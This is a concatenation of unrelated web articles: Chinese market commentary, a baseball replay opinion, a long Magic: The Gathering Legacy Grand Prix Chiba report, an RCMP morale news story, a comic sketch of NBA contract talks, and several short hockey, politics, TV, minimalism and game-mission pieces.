The sell offs clearly shows, how fragile Chinese stock market is without government support. Government and regulators have suspended stocks, loosened margin financing, came out with large ($480 billion) fund to intervene in the market, banned short selling, banned liquidation by large stock holders and many more.
Today's move showed all rests in vain, in front of a raging bear.
They though succeeded in one thing, increasing the risks if stocks tumble by bringing in state financed money to stem the crash. Some of the state largest banks funded securities Finance Corporation (SFC), a government entity that finance margin lending.
One thing can be said for certain further easing is likely from Peoples Bank of China (PBOC).
Today's move seriously dented investors' confidence as it seems that Chinese authorities may not be in a position to shore up stock market.
IMF, which is to review Yuan this year to decide whether or not to grant it a position in IMF's SDR basket warned Beijing against intervention and asked to rely more on market forces.Illustration by Elias Stein Editor's note: In the days leading up to Rob Manfred's one-year anniversary as commissioner on Jan. 25, we asked our writers what one change or innovation they would make to improve baseball if the sport started over today.
Replay is a very good thing in baseball. Technology has advanced so much since the game's rules were first written that it doesn't make sense not to use it to correct bad calls (and don't get me started on Phil Cuzzi's pre-replay blown call on Joe Mauer's double/foul ball in the 2009 division series -- grrrrr!!!). But the replay process can also go a little too far. Case in point -- calling baserunners out for being ever so slightly off the bag.
This became most noticeable during last year's postseason, when several runners were called out after replays showed they had gone off the bag ever so slightly after the tag. The problem is just how little separation between the base and the runner there sometimes is. In some cases, it can be a foot or more. In others, though, it could be barely an inch and for less than a second. And the only way that separation can be shown is by repeatedly slowing the play down to virtual stop action.
Really? We need to examine such plays so closely that it's as if we were the FBI or conspiracy theorists reviewing the Zapruder film?
I am not saying that players do not need to remain on the base. I'm just saying that if an umpire standing right next to the base and with his eyes right on the play doesn't see the player leave the bag, then it simply isn't worth calling him out.
On a crucial play during the 2015 ALDS, Kansas City's Terrance Gore appeared to have stolen third base -- until replay decided otherwise. AP Photo/David J. Phillip
Players are running full tilt and siding hard. If their momentum carries them ever so slightly off the base for ever so slightly a moment, it just isn't worth getting concerned. It's like the neighborhood play. No one has a problem with fielders not having their foot on the bag while attempting a double play. That's the way the game has always been played. So why should we care whether a baserunner might have been off the bag for a fraction of a second? The answer is, no one does care. Except for teams that might be able to get an easy out by demanding a replay.
Furthermore, because the separation can be so minimal and so brief in some instances, it's also possible that the runner actually might have been shoved off the base by the fielder tagging him and pushing with his glove. If so, it definitely isn't right that the runner be called out.
This is very similar to the issue over replays being used to show that a fielder didn't have possession of a ball long enough for a transfer. After a quick uproar about how ridiculous, extreme, unfair and out of tradition the use of replays for these plays was in 2014, baseball quickly decided it would stop doing so. The league needs to do the same for baserunners over-sliding the bag.
If a baserunner over-slides enough that an umpire notices, then he should be called out. If he over-slides so little that only NSA-level surveillance cameras can detect it, then just let the play stand and get on with the game.The look and feel of BioWare's Mass Effect universe may have drawn heavily from Square Enix's Final Fantasy series - but not the ones you're probably thinking of.
Squaresoft's 2001 CGI film Final Fantasy: The Spirits Within was an ambitious attempt at creating an epic sci-fi adventure that stayed true to the spirit of the beloved videogame series. It was also a tremendous financial flop that was too videogame-y for mainstream audiences, and not enough like Final Fantasy for Final Fantasy fans. I mean, Square even had the gall to name a character "Sid" instead of "Cid" - of all the nerve!
The movie's failure might have cost Square a metric ton of money and delayed the eventual merger with Enix - who was understandably unsure whether it wanted to merge with a company that had just lost a metric ton of money - but its legacy lives on today in a surprising successor. Speaking with Xbox World 360 magazine, Mass Effect 3 art director Derek Watts said that he and his team looked at the Final Fantasy film for inspiration.
"Yeah, you know we actually reference a lot from Final Fantasy: The Spirits Within. We used a lot of their GUIs and the way they did their ship - that was kind of like in some of the early designs for the Normandy," he said.
"Our attack helicopters are loosely based off that movie. There's some great stuff, especially their glowing GUI screens; we used those a lot. I keep a folder of that stuff and I still actually tell the guys 'just go back and look at that. Change it like that!'"
It's slightly amusing to think that one of the most infamous videogame box office busts of all time could inspire one of the most successful game series in recent memory, but the world is strange like that. At least Mass Effect isn't taking cues from Van Damme's Street Fighter.
(CVG)This Week in Legacy: GP Chiba
This Week in Legacy legacy GP Chiba Sneak & Show Miracles Death & Taxes Elves ANT UR Delver Food Chain Dragon Stompy Imperial Painter lands
Once again, This Week in Legacy has come. And we have a big one. This week’s article will be entirely dedicated to the event that occurred during the weekend of November 27th-28th – Grand Prix Chiba! Certainly one of the highlights of the calendar when it comes to Legacy, this event showed off some interesting new technology, some relatively interesting metagame developments, and some pretty incredible matches to look over.
Anyway, we’ll start from the top and work our way through the data that can be found on Wizards's Grand Prix Chiba website. You can find all that here.
The Winner: Sneak & Show
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Gramd Prix Chiba was taken down by Sneak & Show, piloted by pro Kentaro Yamamoto. Interestingly, the list he piloted was very straightforward, unlike the recent Omni-Attack lists that have been running around.
If anything, the straightforwardness of the deck likely played to his strengths as a professional Magic player. Although I’m assuming quite a bit, many pro players focus little on the Legacy format, and when an event such as Chiba crops up they’ll pilot something that can utilise not their knowledge of the format, but instead the generic Magic skills they have honed over the course of their lives. Sneak & Show leverages all these things well by being incredibly proactive. Why understand what your opponent is doing when you can just focus your skills on cantripping effectively and assembling your combo?
That being said, the sideboard of Kentaro is very nicely tuned. Although his game one against the popular Death & Taxes is likely atrocious without Omniscience, Grim Lavamancer as a repetitive hatebear-killer, Blood Moon to turn off Karakas, and Engineered Explosives to clean up boards (that also gets around Mom and interacts favourably with Thalia, Guardian of Thraben) are all powerful options to swing games in his favor. The Vendilion Cliques are also very nice as a plan B that act as additional disruption or can ambush Containment Priests that would be otherwise problematic. What I love about these cards is that they’re also very good blanket answers. Blood Moon turboed out Stompy-style can ruin Shardless BUG and other greedy mana bases, Lavamancer can easily remove the pressure that Delver and other creature-based decks exert, and Explosives is the epitome of flexibility.
Probably more spicy is the other Sneak & Show list that found its way into the Top 8.
Keisuke Sato went very old-school with his creature package, opting to replace an Emrakul with two Progenitus. Although certainly inferior to the spaghetti monster, Progenitus is a likely hedge against Death & Taxes’ Karakas game one. Sato also included a little bit of additional fast mana with Simian Spirit Guide and hedged against blue decks with main deck (and another sideboard) Boseiju, Who Shelters All, both of which have been seen before.
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He, like Yamamoto, included a bevy of one-of permanent-based answers in his sideboard, such as Echoing Truth, Pyroclasm, Kozilek's Return, Sudden Shock and, interestingly, Ratchet Bomb. I find it difficult to rationalize how Bomb is better than Yamamoto’s Explosives, as to clean up a board of hatebears it takes much longer, and Chalice of the Void is answered in a similar timeframe with both cards. I guess it does function better under a Blood Moon. Unlike Yamamoto, Sato did find room for sideboard cards that are typically seen as staples of the archetype, such as Through the Breach and Red Elemental Blast effects.
The Runner-Up: Miracles
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Miracles had an expected excellent appearance throughout the tournament. Although we’ve largely seen a dip in the amount of Miracles placings across smaller tournaments, it certainly always shows up in significant numbers during the larger events. Three Miracles lists made their way into the Top 8. The runner-up list was that of Atsuki Kihara.
Atsuki’s list was similar to the lists not maining Mentor that have been appearing the past few months, such as the lists in American Eternal Weekend and Eternal Extravaganza 5. Of note is the Spell Snare in the main (likely inspired by Joe Lassett’s push of the card) and, interestingly, the Ensnaring Bridge in the sideboard.
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Bridge actually appeared in many Miracles lists throughout the tournament. Although many may see it as a ‘budget’ replacement for Moat, I think it has a lot of advantages that Moat does not. Firstly, Bridge is colorless, and hence Eldrazi clean-up card All Is Dust does nothing against it. It can come down under a Thought-Knot Seer in certain scenarios, especially on the play, when the Eldrazi player only has a single Sol Land in play. Bridge also interacts very nicely with Top. Miracles is well known for being Hellbent but still able to easily control the game due to the virtual three cards it has access to from Top. And being Hellbent is, of course, favorable with Bridge.
In 3rd place was Yuuya Watanabe, Hall of Famer, on Miracles. His list was a little bit more stock, featuring Mentors in the main. Like Kihara, he featured an Ensnaring Bridge in the sideboard, along with a pair of Sulfur Elementals for the Death & Taxes matchup. Gideon, Ally of Zendikar also made an appearance as an additional non-blue bomb next to Jace, and certainly can put a lot of power on to the board in combination with Monastery Mentor.
The 5th place Miracles list, however, looked completely bizarre.
There is a selection of interesting choices in this list:
For further comparisons, I’d recommend having a look at /u/Maxtortion’s big spreadsheet displaying all the card choices of the Miracles lists in the Top 64. Find that here and the corresponding reddit thread here. I’m especially surprised at the variation of mana hatred between many lists, with no clear consensus on which of Back to Basics, Blood Moon, or From the Ashes is optimal.
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The Quarterfinalists: ANT, Elves and Death &Taxes
Other than Sneak & Show and Miracles, the Top 8 did accommodate three other archetypes. Storm was still represented with Ryo Takahashi piloting ANT to 6th place, featuring a relatively stock main, though featured a very diverse mix of business spells, including one-of's each of Empty the Warrens, Ad Nauseum, and Dark Petition. Most notable is his sideboard options. His answers included one-mana removal in Disfigure and Chain of Vapor to diversify his answers to Prelate, Krosan Grip padded his answers to Counterbalance, and a Hurkyl's Recall to fix the Chalice of the Void problem. Furthermore, an adaptation many ANT lists have been taking from their TES brethren is Chrome Mox, found in Takahashi’s sideboard as a two-of. Additional fast mana makes turn one or turn two Ad Nauseums very powerful, which were previously very gutsy to try with no floating mana, as Petals were the only starting mana sources available. This increased speed lets the deck get 'under' Chalice of the Void or Thalia, Guardian of Thraben by just killing the opponent early.
Elves also made an appearance in the Top 8, touting some new cards.
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Leovold is a card we’ll get to later, as not only did he make a splash in Elves, but also a variety of other Legacy archetypes. He’s proving to many to be a staple one- or two-of in most decks that can accommodate the BUG color combination.
More interesting is Nissa, Vital Force. We’ve seen her in the sideboard of some recent Elves lists, but she has been previously unseen as a main deck inclusion. Although she is likely to clunk up hands and make Glimpse chains slightly more mediocre, she also can do some incredible things for the deck. Her minus ability really assists in the grinding ability of the deck, regrowing critical pieces required for the Elvish engine. Her plus also pulls a lot of weight. Not only can it just start the beatdown on an empty board (great against Elves' poor Miracles matchup), it can also create explosive mana: tap your Gaea's Cradle, cast a Nissa, and then untap the Cradle and potentially net mana! I wouldn’t be surprised to see Nissa become more of a consideration in the main.
At 8th was Death & Taxes by Liu Jun.
Jun had some interesting main deck inclusions. He opted for two Mirran Crusaders (despite their tutorability), two Avengers, two of each of the Conspiracy: Take the Crown staples, and a one-of Palace Jailer. Interestingly, no Thalia, Heretic Cathar in his list! He also cut his lands to twenty-two!
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I do like the addition of Jailer somewhere in the seventy-five and may be trying him soon. Similar to Mangara of Corondor, he is a late-game bomb that in certain situations can create an insurmountable advantage when the Monarchy is held, while also being tutorable. He also has favorable interactions with flicker effects, as White Stompy has proven to me. However, twenty-two lands is something I really cannot get behind. The deck is incredibly mana-hungry now with its bevy of three drops, not to mention adding a four drop to the mix!
Just like /u/Maxtortion did for Miracles, I have done for Death & Taxes. Find the spreadsheet comparing all the Death & Taxes lists here and find the reddit thread about it here. Some things to note:
Recruiter and Prelate are consistently at least two-ofs, with some lists pushing up to three Recruiters.
Thalia, Heretic Cathar ranged from zero copies to two copies. Some lists ran only one as a tutorable bullet, though I find her lackluster in this role.
Flickerwisp and Revoker are starting to get trimmed down to three copies.
Avenger is seen in some lists as a two-of, while others sported zero. Crusader was more acceptable as a one-of beatstick that can be tutored.
One list ran Ghost Quarters over Rishadan Port. Budget choice or metagame consideration? The Ghost Quarters have certainly been excellent for the recent Lands lists.
I’d also like to shout out /u/Umezete, a common contributor on r/MTGLegacy, who went to Chiba with a pretty wild Death & Taxes list:
This deck feels sort of like a blend of typical Death & Taxes with some White Stompy elements. Smuggler's Copter is definitely the coolest addition in this list, and certainly with Ancient Tomb, turn one Copter into turn two Thalia (1.0 or 2.0) looks like a brutal way to both disrupt the opponent and obtain card selection (and beatdown for three!). Hangarback Walker is also exciting; I could see it as very powerful against decks such as Shardless or even Eldrazi, where it can be tutored lategame to create a large, growing monster. These modal Recruiter targets are actually very cool due to their ability to be reasonable early and very powerful late.
The Top 64
Moving away from the Top 8, we can look at the rest of the field within the Top 64:
Miracles was the most represented deck within the Top 64, followed by Eldrazi, Death & Taxes, and then Grixis Delver, whose numbers certainly paled in comparison. Sneak & Show converted incredibly well, having only a few decks within the Top 64, but two found their way into the Top 8. The same could be said for Elves and ANT, with the Top 8'ing ANT list the only one within the Top 64!
More importantly though, the Top 64 also showed off some rogue strategies. In particular, Dragon Stompy and Food Chain made more than one appearance.
In 18th and 22nd place were Food Chain lists. These decks aim to use their namesake, Food Chain, to generate infinite mana that can be used on creatures. This is done via Misthollow Griffin being sacrificed, though Eternal Scourge from Eldritch Moon was utilized by both players as an additional combo piece that is easier to cast (but does not have the advantage of being exiled to Force of Will and then re-cast!). Manipulate Fate gets these creatures into the exile zone, essentially drawing four cards. Once the combo is assembled, a giant Genesis Hydra can be cast, or Fierce Empath can go get Emrakul, the Aeons Torn or Tidespout Tyrant, which both ruin the opponent.
Although the deck has a combo finish, it also functions incredibly well as a grindy midrange BUG deck, utilizing Deathrite Shaman and Delve creatures like Tasigur or Angler to keep Griffins exiled and coming back again and again. Baleful Strix holds the fort (and acts as ramp if a Food Chain is in play). Abrupt Decay does its usual job of demolishing whatever is required.
Leovold, Emissary of Trest also found a way into the Food Chain lists and, furthermore, found his place in a Shardless BUG list, another Elves list in the Top 64 and, perhaps most interestingly, in Ben Friedman’s newest iteration of 4c Delver:
Also new-ish is the addition of Kolaghan's Command, which certainly supplements the grindy nature of the deck.
Dragon Stompy, and its relative, Imperial Painter, also found their way into the Top 64 with some new additions. We’ll look at Taishi Aoki’s Dragon Stompy list first, which differed only slightly from the other Stompy list.
Let’s look at the creatures first. Goblin Rabblemaster has been well-known as a staple, and Thunderbreak Regent has been the best Dragon for the job since Dragons of Tarkir’s printing due to him being certainly superior to other four-drop Dragons available. The cards we haven’t seen much before in the archetype were these:
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Sin Prodder raises the eyebrows most, but makes a huge amount of sense within this list. He has a relatively aggressive, slightly evasive body, but it’s his ability which is most important. It’s typically unlikely that the opponent will actually opt to give the Dragon Stompy player cards, instead letting them deal a few points of damage. These points of damage look inconsequential, until one realises… There’s a lot of burn in this deck. This is a Dragon Stompy deck that has potentially twenty-six points of burn. Taishi, on camera, very readily domed the opponent for six very often with Confluence. Of course, Confluence also has an incredible amount of flexibility, and it is for this reason I can see how four in the main is viable, at least in this list. I had always relegated it to sideboard, but I now see that this need not necessarily be the case all the time. Shaman of the Great Hunt found some slots within the 37th-placing list instead of one Prodder, and this also looks quite impressive (especially with Rabblemaster) as a card to curve into.
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Chandra, Torch of Defiance also continues to impress as the Blood Moon planeswalker of choice. She does it all – ramping the deck, creating card advantage, and acting as a removal spell. She found herself as a three-of within the mains of both Stompy lists in the Top 64, but the Imperial Painter list of Yuki Aikawa added a full four copies:
Yuki’s list deviates from the ‘stock’ Red-White lists many American Painter players have opted towards, and instead looks to using red mana only, removing Enlightened Tutor and hence leaning less on the combo. Chandra certainly helps out with this, being a walker that can just keep ticking up and up behind an Ensnaring Bridge, digging for the combo, or just burning the opponent out. Other interesting choices are the trimming of Grindstone to three, indicative of leaning less on the combo.
The last list from the Top 64, other than the spicy ones I’ll outline later, was the old variant of Lands.
RUG Lands leans less on the Dark Depths / Thespian's Stage combo and instead simply wants to control the opponent and grind them out of the game. Crucible of Worlds acts as additional Loams and Engineered Explosives / Academy Ruins creates more value from Loams and can make sticking a permanent on the board very hard for the opponent. Tolaria West is probably the greatest addition the deck gets from adding blue mana, however. The land can Transmute to tutor for any land for any given scenario, as well as get Explosives or Chalice of the Void. Also of note is the Burgeoning in the main, acting somewhat as a fifth Exploration!
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Oh, and the main deck is sixty-seven cards. What.
Day 2 Metagame
Also of note is a look over the Day 2 metagame. I have simplified the chart from what the Wizard's website has, lumping all decks with less than twenty showings in the 'Other' category and putting a few archetypes together. The data gets a little bit skewed due to this, but this is the best representation I can get:
Delver variants understandably made up the largest proportion, but this of course lumps together archetypes of pretty different styles (UR Delver is very different to BUG Delver, for example). Eldrazi followed, topping Miracles. After Miracles, Shardless just elapsed Death & Taxes. D&T did obtain more places in the Top 64, with Shardless converting somewhat poorly.
Grand Prix Trials
Also worthwhile is a cursory glance through the Grand Prix Trials for Chiba. The most notable of these were two Blue-Red Delver lists:
These differentiate significantly from the UR Delver that is well-known. This is certainly UR tempo as indicated by the Stifles and Wastelands.
One other Blue-Red list was either UR Delver lacking Delvers… Or UR Landstill lacking Standstills?!
This list has a fair few unconventional choices that Matthew Brown enlightened us on a few weeks ago. Notably, multiple Spell Snares, main deck Flusterstorms, and Burst Lightning are all seen here. Three Fire // Ice also rounds out the removal suite, diversifying it away from only one-mana answers. The deck features creaturelands to finish the opponent too, using Mishra's Factory and Faerie Conclave. This list feels like someone took a UR Landstill list, cut the Standstills, and added some more burn. And it certainly seemed to work out for them!
Conclusion
Phew! Chiba brought a lot of incredible data to light and certainly made clear where the metagame is moving. For non-Japanese speakers, I’d highly recommend checking out Bob Huang’s Twitch Channel for the restream of the event he did with Anuraag Das, James Pogue, and Jarvis Yu. The replays should be available in their video archive.
If any readers would like to inform me of how their Chiba event went, I’d be all ears, especially if you ran a particularly spicy list. Per usual, contact me at the address below!
‘Til next time!
Sean Brown
Email: sean_brown156@hotmail.com
Reddit: ChemicalBurns156
Twitter: @Sean_Brown156
What I’m Playing This Week
The weekend of Grand Prix Chiba I actually played in a small Legacy tournament and took away the top spot. I ran my typical Death & Taxes, using the list I featured a few weeks ago and it played excellently, though winning die rolls and getting turn one Aether Vial many more times than usual certainly helped. My matchups were:
Swiss:
Miracles 2-0
Death & Taxes 2-0
Grixis Dever 2-1
ID
ID
Top 4:
Grixis Delver 2-0
Miracles 2-0
The number of Recruiters and Prelates felt perfect, but the rest of the beatstick core had some room for changes. With Grand Prix Chiba having past, it’s time to add some of these:
Mainly, I’ll finally be trying to reach my own conclusions about Thalia, Heretic Cathar by having her in the main. To do so, I’ve had to commit heresy. I cut the fourth Flickerwisp! Though this certainly seemed to be what most players in Chiba opted for, I’ll see how it goes. My sideboard has been filled with some more bullets. Containment Priest has been trimmed to one to make room for the now-sideboarded Crusader, and Palace Jailer will be tested over Mangara after seeing it be successful at Chiba, have received plenty of positive feedback from respected Death & Taxes authorities. I shall report back soon to see how everything fits together.
The Spice Corner
There were two lists which really caught my eye in the Chiba Top 64:
4c Ninja Midrange. Essentially a Shardless variant except sort of more aggressive, with Lightning Bolts added, more ETB creatures and, most importantly, Ninja of the Deep Hours to bounce things back to your hand. Baleful Strix, Shardless Agent, and Eternal Witness can sneak in, get a Ninja in to draw a card and then keep the cards flowing by getting cast again.
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This UW Stoneblade deck is also very sweet as it takes a more proactive role than Stoneblade decks of past. Its counterspells are stuck on flying 1/1s that can hold equipment readily, flash in with a 2/3 body, or are the hatebear Meddling Mage. Then, Stoneforge and True-Name can finish off the game as they have before.Members of the RCMP across Canada are taking part in quiet protests over what they say is unsustainable under-staffing and an overall morale problem within the force.
Some Mounties are refusing to volunteer for so-called "red serge duty" where they march in parades and appear at events such as fairs, festivals and sporting events in their ceremonial red uniforms and Stetson hats.
Vancouver's Canada Day parade was the first casualty.
"It is with disappointment that I have to announce that I had to cancel the RCMP participation in this year's Canada Day parade in downtown Vancouver due to a lack of response," Sgt. Maj. Nathalie Caron wrote in an email to employees in B.C. "Thank you to the few that showed interest."
Protest of any kind is rare inside the RCMP, which has strict regulations about publicly expressing any kind of comments about the force that could be considered negative.
But as Parliament missed — and appears to be in no rush to honour — a deadline set out by the Supreme Court to give Mounties the opportunity to form a union and collectively bargain with management, many members of the RCMP are organizing online to refuse requests for red serge duty.
"There is a morale problem,' says Const. Richelle Daly. And while she doesn't endorse the protest, the Edmonton-area traffic cop says she sees first-hand the effect of chronic short-staffing.
"The lack of resources, member fatigue — just the operational burnout seems to be the biggest factor here. And I'm finding that members, when they are looking for overtime, they're more likely to take the overtime that's going to be for the front-line members and on the watches rather than doing a red serge duty," Daly told CBC News.
A pair of Mounties on red serge duty, flanked by Winnipeg Blue Bombers mascots, walk with the Grey Cup ahead of the 103rd Grey Cup. (Cameron MacIntosh/CBC)
Last month, RCMP managers in Alberta sent out a request for people to volunteer for a ceremonial troop that would attend six high-profile events per year. If there weren't enough volunteers by July 1, the email said, people would be assigned to don the red serge.
The protests are largely being organized on social media, where Mounties have also discussed boycotting upcoming parades and other community events across Canada.
"Management should see this as an early warning signal," says retired RCMP assistant commissioner Cal Corley.
He says front-line officers have been under a great deal of strain and expressions of frustrations are to be expected.
Among the irritants, according to Corley, are:
The decision to redistribute resources to combat terrorism, leaving other units short staffed.
Findings that three Mounties murdered in Moncton, N.B., in 2014 were not properly equipped
A class-action lawsuit over sexual harassment inside the force.
Commissioner Bob Paulson's decision six weeks ago to scrap the closest thing officers had to a union.
How far the RCMP has fallen behind other police services in pay.
"The only way the RCMP is going to achieve its vision is to engage the membership in more democratic ways, and perhaps what we call non-traditional ways, than it perhaps has in the past," he said. "It'd be foolish to dismiss it. It really warrants some introspection on the part of the organization and to take this seriously."
While mounties are turning down red serge duty for non-essential events such as parades, they will continue to attend funerals and memorials such as this funeral for |
signed. This is to ensure that there is no scenario where a deal does not get done. Does everyone understand?”
*nodding”
“Ok, go ahead guys,” Cuban says as he smiles and winks at Nerlens who responds with a furrowed brow.
“Hello Sharks, my name is Happy Walters…”
(We’ll get there)
“…and my client is 6’11” All-Defensive-Team-Caliber big man Nerlens Noel. We’re looking for a $100 million dollar deal for a 4-year contract with your organization.” Walters said, frequently looking in Noel’s direction to see the big man nodding in agreement.
Immediately the Sharks look up from their notebooks with mixed reactions.
“Going into his 4th season in the NBA,” Walters continued, “My client is still only 23 years old with an entire NBA career ahead of him. Not only is Noel an excellent shot blocker but he can also jump out and guard players on the perimeter. No one else in the NBA can move like he can at his size.”
Nelson interjected, “But what about production? Last season we only had him for 22 games. That’s not a big enough sample size for us to give him that much.”
“Last year on your team my client averaged over a block and steal per game,” Walters declared. “The only other players to do that last season were Giannis Antetokounmpo…”
Donnie Nelson shoot a look down the row to Mark Cuban who fixed his gaze on the back wall trying not to make eye contact.
“Kevin Durant, Anthony Davis, Draymond Green, DeMarcus Cousins…”
A tingle goes up Rick Carlisle’s spine as he whispers, “Boogie…” under his breath.
“Andre Drummond, Gorgui Dieng, James Johnson, Andre Roberson, and Robert Covington…” Walters finished in a hurry hoping the last few names fell on deaf ears.
“Did you just say Gorgui Dieng? He signed for 4 years $64 million last October.” Nelson remarked.
Before Walters could respond Cuban made an offer. “Look, with your client’s injury history the best we can offer is $70 million for a 4 year contract to return to the Dallas Mavericks.
Noel looked up at the ceiling to do the math in his head, once he realized what the offer was he looked back at Walters the same way he looks at a drive to the rim…
‘Not in my house.’
Walters countered, “My client has the potential to be Defensive Player of the Year and haven’t we been saying all summer that he is part of the future?” Walters countered.
“That’s an expensive future,” Carlisle scoffed holding his iPhone in one hand and his Android phone in the other.
“May I have a moment alone with my client?” Walters requested. Walters then attempts to deliberate with Noel who continued to demand he is worth a max contract.
“Well, what’s it going to be guys? Do we have a deal?” Cuban asked.
“We do not, and frankly my client and I are disappointed and will wait until we get a serious offer. We both believe he is worth… *gulp* …a max contract and will not accept anything less,” Walters insisted reluctantly.
“Guys, your evaluation is insane and for that reason we’re out.” Cuban shot back.
“Wait, what do you mean out?” Walters demanded.
Cuban sat up in his chair, somehow looking both Walters and Noel right in the eyes, “It means we’re pulling our offer.”
After a few moments of stunned silence Nelson said, “Now you may reach out to any of the other representatives in attendance and if they offer you a deal then we will match it.”
“What if another team offers me a max deal?” Noel inquired.
Carlisle looked up from his two devices and said, “What team?”
Noel and Walters looked around. The room was dark and it was hard to tell if anyone was waiting in the wings to swoop in and make an offer—but there was no one.
Noel and Cuban did not break eye contact as Walters scrambles to find any other teams in the room darting from one side to the other.
“I see you over there Atlanta! Brooklyn, I know you’re at all of these meetings! WHERE’S BOSTON?!” Walters screamed frantically.
Noel maintained eye contact with Cuban and said calmly, “Walters, we’re done. Let the next guy in.”
“What next guy?” Walters asked exasperated.
As Happy Walters left the room the door flung open to reveal his replacement.
“Ok, Bron. Talk to you later.” Rich Paul holstered his phone and started rubbing his hands together. “Who’s ready to make some money?”
Noel laughed and embraced Paul while the Mavericks front office exchanged glances.
After explaining the situation Noel stepped back as Paul stepped forward to make one last impassioned plea.
“The previous offer is not a fair deal. My client is currently worth much more than that. The future is bright for this young star. Don’t get caught up in the games played. Look at the situations. First year in Philadelphia, where the team was a dumpster fire and then immediately attempts to replace him two times over with Joel Embiid and Jahlil Okafor. Gentlemen, this is an opportunity of a lifetime. Don’t waste the assets you gave up to trade for my client, you will be sorry. Just last year Steven Adams signed a deal for $24 million per year, Hassan Whiteside signed a deal for $24 million per year…”
Cuban butted in, “Rich, that’s apples and oranges, the market was totally different last year.”
Noel shifted his weight and cocked his head to the side in disagreement.
“There isn’t even an offer on the table guys, I keep hearing $17 million but that doesn’t seem to exist.” Paul griped.
Before anyone from the Mavs Front Office could response, from what seemed like 100 yards away, Happy Walters stuck his head back into the room and yelled, “IT DID HAPPEN!”
Paul whipped his head around to see Noel half wincing at the mess they were in and half looking to Paul for help.
“Look, the Dallas Mavericks will be worse off without Nerlens Noel. He is worth a Max Contract and we’re willing to prove it.” Paul concluded.
“You are?” Nelson raised his eyebrows and sat back in his chair.
“Then I guess we only have one choice,” Cuban said. “If you really think you’re worth a Max then I think the only way to do it is to prove it.”
“Then we’re all in agreement?” Nelson polled the whole room; Carlisle and Cuban nodded while Rich Paul looked at Noel. Then the whole room was looking at Noel, it was like the whole world was looking at Noel.
“Ok.”How bad would the Flyers have to be for Hakstol to get fired?
How bad would the Flyers have to be for Hakstol to get fired? by Nick Som
Here’s one way the Philadelphia Flyers can optimize their lineup by rearranging their (mostly) talented defensemen.
It’s clear that the next great Philadelphia Flyers team, if and when it arrives, will be built on the strength of its defense. The Flyers’ stockpile of high-end defensive prospects is embarrassingly large, with a wide variety of skillsets and play styles. Travis Sanheim is an offensive spark plug, Samuel Morin brings size and physicality to the back line, and Philippe Myers has gone from undrafted player to Corey Pronman’s list of top 100 prospects, along with five other Flyers.
Those prospects won’t all be arriving this year, however. Hextall seems content to let youth filter into the Flyers’ roster at a slow and steady rate. Morin and Robert Hagg will have good chances of making the team, but the rest of the defense will be filled with familiar faces. For a team that gave up the 10th most goals last season, this is a bit of a concern.
Growth from Ivan Provorov and Shayne Gostisbehere will help, but another way Dave Hakstol can improve their defense is by rearranging their defensive pairings. Here’s one way the Flyers could do so:
Ivan Provorov and Radko Gudas
The most important change the Flyers need to make is to release Provorov from his terrible partnership with Andrew MacDonald. Provorov simply won’t be able to reach his full potential alongside a player who belongs in the press box, or maybe in a highly protected third-pairing role. While Gudas needs to tone down his recklessness on the ice, he’s still a solid veteran defenseman who can be counted on. That should be all that Provorov needs to take a huge step forward in year two.
Shayne Gostisbehere and Samuel Morin
If this pairing looks half as good on the ice as it does on paper, they’re going to be incredibly fun to watch. Ghost’s offensive wizardry would mesh perfectly with Morin’s stay-at-home, defensively responsible style. Most importantly, it’s a pairing with the ability to win both the game and the fight. Make it happen, Hakstol.
Andrew MacDonald and Robert Hagg
Well, we had to put him somewhere. Hakstol’s confounding support of McDonald means he won’t be leaving any time soon, but there’s still a chance Hakstol might change his mind about the proper way to use AMac. It’s a shame that Robert Hagg would be the unlucky winner of the MacDonald Sweepstakes in this scenario, but I think it’s more likely that Hakstol would want to pair Provorov with a veteran to replace MacDonald.The Netherlands was one of the six founding states of what became the European Union, but skepticism toward the bloc has been rising. In April, Dutch voters rejected a trade and cooperation agreement between the European Union and Ukraine, and after the British referendum on June 23 to leave the bloc, Mr. Wilders proposed that the Dutch hold a referendum on withdrawing as well.
Mr. Wilders, 53, is charged with offending members of a group based on their race, and hate speech and discrimination. If convicted he could be sentenced to up to two years in prison, though people found guilty of such offenses are more commonly fined or required to do community service.
A conviction could affect his career in Parliament, where he has been the leader of the Party for Freedom since 2006.
Mr. Wilders announced on Friday that he would not attend the trial, which is being held in a secure courtroom near Schiphol Airport outside Amsterdam. He called himself “a politician who says what the politically correct elite do not want to hear.”Joe Jonas was a guest judge on a recent episode of “Top Chef,” where teams had to prepare snacks for children participating in a sleepover at a museum. The chef teams took on two different snack plans, the “Tyrannosaurus Rex,” consisting of meat and dairy to match the carnivorous animal’s diet and “Brontosaurus,” a fruit and veggie snack plan.
Points lost here for not mentioning that Brontosaurus got a name change AND a head change and they all should be addressing him as Apatosaurus now. But at least they’re promoting veggies for children. Nutrition first. Then tackle science.
Do we really have to explain that the carnivores could have only had worst luck if a giant asteroid fell and made them extinct? Undercooked frittatas and bad tasting pork were no match for gnocchi, parfaits and gazpacho and team wrongly named Brontosaurus won the challenge.
Speaking of names, who the heck is Joe Jonas? A pastry chef, if you ask Season 4 former contestant Dale Talde.
Watch “Night At The Museum” below.
Possibly Related Posts:People often mistakenly think that to be a minimalist, you need to live with less than 100 things (or 50 or something crazy like that). That’s not at all true.
A minimalist is simply one who questions the necessity of things, and who tries to live with what’s necessary, rather than with consumerism.
The 100 thing challenge is just a tool: by trying to reduce your possession to 100 things, it forces you to look at them and ask, ‘Is this really necessary? Can I live without it?’
So forget about the 100 things challenge, and instead just as yourself the questions. Is it really necessary? Can you live without it?
For example, could you live without these things:
Cable TV
A smart phone
Any kind of cell phone
Any kind of TV
An Internet connection
A couch
More than one pair of shoes
More than a few shirts, or pants
A microwave
A car
Sweets
More than a handful of books (at a time)
Makeup
Hair
Mementos
Some of you will find a few of those items so necessary that it’s ridiculous to ask the question. And I’m not saying you should give any of these things up … I’m only suggesting you ask the questions.Commanders,
We hope you are enjoying the special and driving your medium tank like a pro by now! Even though the special will be over soon, we advise you to keep your engine running – there will still be a lot to do! In fact, in the following days we will be releasing a special batch of weekly missions dedicated purely to medium tanks! Also, don’t forget to check out the new Let’s Battle Magazine – you will find even more material regarding your favourite type of vehicle there!
These are the tasks and their respective rewards:
Weekly Mission 1 Goal
Play medium tanks in a total of 100 battles. Reward
Improved Ventilation Class 2
Conditions
Random Battles only.
Restrictions: Medium tanks of Tier IV and above only.
Be in the top 10 players on your team by base experience earned (bonuses for the first victory of the day, premium account, etc., will not be counted to determine the top 10 players). You can receive the reward each time you complete the goal.
Weekly Mission 2 Goal
Playing medium tanks, achieve a total of 50 victories. Reward
Vertical Stabilizer Mk. 1
Conditions
Random Battles only.
